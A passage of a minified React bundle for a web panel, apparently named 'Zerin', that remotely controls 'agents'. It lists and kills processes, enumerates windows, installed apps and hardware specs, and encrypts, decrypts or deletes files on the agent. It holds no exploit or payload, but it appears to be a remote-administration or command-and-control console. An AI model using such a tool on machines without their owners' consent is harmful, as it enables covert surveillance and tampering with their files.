24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:K=>K.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:A,type:"password",value:b,onChange:K=>w(K.target.value),onKeyDown:K=>{K.key==="Enter"&&U(),K.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:U,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function XU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var A;z++;try{const O=(A=(await Xn(e)).results)==null?void 0:A.find(P=>P.task_id===k);if(O){if(v.current&&clearInterval(v.current),v.current=null,s(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` +`).filter(M=>M.trim()),D=[];for(const M of P){const W=M.trim().split(/\s+/);if(W.length>=2){const $=parseInt(W[0],10);if(!isNaN($)){const U=W.length>=3?parseInt(W[1],10):0,B=!isNaN(U)&&W.length>=3,K=B?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),Z=B&&W.length>=4?W[2]:void 0;D.push({pid:$,ppid:B?U:0,name:K,user:Z,children:[]})}}}const V=new Map;D.forEach(M=>V.set(M.pid,M));const R=[];for(const M of D){const W=V.get(M.ppid);W&&W!==M?W.children.push(M):R.push(M)}r(R.length>0?R:D.map(M=>({...M,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(A=>{const _=A.name.toLowerCase().includes(S)||String(A.pid).includes(S),O=w(A.children,z).length>0;return _||O})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(sS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function sS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(sS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function ZU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const A=30;v.current=setInterval(async()=>{var _;S++;try{const P=(_=(await Xn(e)).results)==null?void 0:_.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=A&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const A=z[p]||"",_=S[p]||"",O=A.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),k=({col:z})=>p!==z?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted 